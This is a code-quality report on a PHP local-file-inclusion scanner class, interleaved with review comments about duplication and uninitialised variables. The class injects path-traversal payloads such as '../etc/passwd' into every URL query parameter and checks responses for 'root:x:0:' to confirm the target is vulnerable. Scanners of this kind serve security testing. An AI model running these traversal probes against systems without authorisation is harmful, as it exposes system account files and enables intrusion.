Aszone\Vulnerabilities\LocalFileInclusion

Complexity

Total Complexity

19

Size/Duplication

Total Lines	117
Duplicated Lines	58.12 %

Coupling/Cohesion

Components	1
Dependencies	1

Importance

Changes

0

8 Methods

Rating	Name	Duplication	Size	Complexity
A	__construct()	10	10	2
A	isVulnerable()	0	8	2
A	isLfiPossible()	0	4	1
A	verify()	15	15	3
A	attack()	18	18	4
A	checkSuccess()	0	4	1
A	generateUrls()	9	9	1
B	generateUrlsByExploit()	16	27	5

<?php

namespace Aszone\Vulnerabilities;

use GuzzleHttp\ClientInterface;
use Psr\Log\LoggerInterface;
use Aszone\Vulnerabilities\Log\Logger;

class LocalFileInclusion implements VulnerabilityScanner
{
    const EXPLOIT1 = '../etc/passwd';
    const EXPLOIT2 = '../etc/groups';
    const EXPLOIT1REGEX = 'root:x:0:';
    const EXPLOIT2REGEX = 'root:x:0:';

    private $client;

    private $logger;

    public function __construct(ClientInterface $client, LoggerInterface $logger = null)

This method seems to be duplicated in your project.

    {
        $this->client = $client;

        if (empty($logger)) {
            $logger = new Logger;
        }

        $this->logger = $logger;
    }

    public function isVulnerable($target)
    {
        if ($this->isLfiPossible($target)) {
            return $this->verify($target);
        }

        return false;
    }

    public function isLfiPossible($target)
    {
        return (bool) preg_match("/\?|(.+?)\=/", $target);
    }

    protected function verify($target)

This method seems to be duplicated in your project.

    {
        $urls = $this->generateUrls($target);
        $this->logger->info('\n');

        foreach ($urls as $url) {
            if ($this->attack($url)) {
                $this->logger->info('Is Vull');

                return $url;
            }
        }

        return false;
    }

    protected function attack($url)

This method seems to be duplicated in your project.

    {
        $this->logger->info('.');

        try {
            $body = $this->client->get($url)->getBody()->getContents();

            if ($body
                && $this->checkSuccess($body)
            ) {
                return $url;
            }
        } catch (\Exception $e) {
            $this->logger->error('#');
        }

        return false;
    }

    protected function checkSuccess($body)
    {
        return preg_match('/'.static::EXPLOIT1REGEX.'|'.static::EXPLOIT2REGEX.'/', $body);
    }

    public function generateUrls($target)

This method seems to be duplicated in your project.

    {
        $this->logger->info('.\n'.$target);

        $urls1 = $this->generateUrlsByExploit($target, static::EXPLOIT1);
        $urls2 = $this->generateUrlsByExploit($target, static::EXPLOIT2);

        return array_merge($urls1, $urls2);
    }

    protected function generateUrlsByExploit($target, $exploit)
    {
        $explodeUrl = parse_url($target);
        $explodeQuery = explode('&', $explodeUrl['query']);

        foreach ($explodeQuery as $keyQuery => $query) {

This code seems to be duplicated across your project.

            $explodeQueryEqual = explode('=', $query);
            $wordsValue[$explodeQueryEqual[0]] = $explodeQueryEqual[1];

$wordsValue was never initialized. Although not strictly required by PHP, it is generally a good practice to add $wordsValue = array(); before regardless.

        }

        foreach ($wordsValue as $keyValue => $value) {

The variable $wordsValue does not seem to be defined for all execution paths leading up to this point.

This code seems to be duplicated across your project.

            $urls[] = str_replace($keyValue.'='.$value, $keyValue.'=??????????', $target);

$urls was never initialized. Although not strictly required by PHP, it is generally a good practice to add $urls = array(); before regardless.

        }

        $urlFinal = [];
        foreach ($urls as $url) {

The variable $urls does not seem to be defined for all execution paths leading up to this point.

This code seems to be duplicated across your project.

            $urlFinal[] = str_replace('??????????', $exploit, $url);
            $breakFolder = '../';

            for ($i = 0; $i < 10; ++$i) {
                $urlFinal[] = str_replace('??????????', $breakFolder.$exploit, $url);
                $breakFolder .= '../';
            }
        }

        return $urlFinal;
    }



}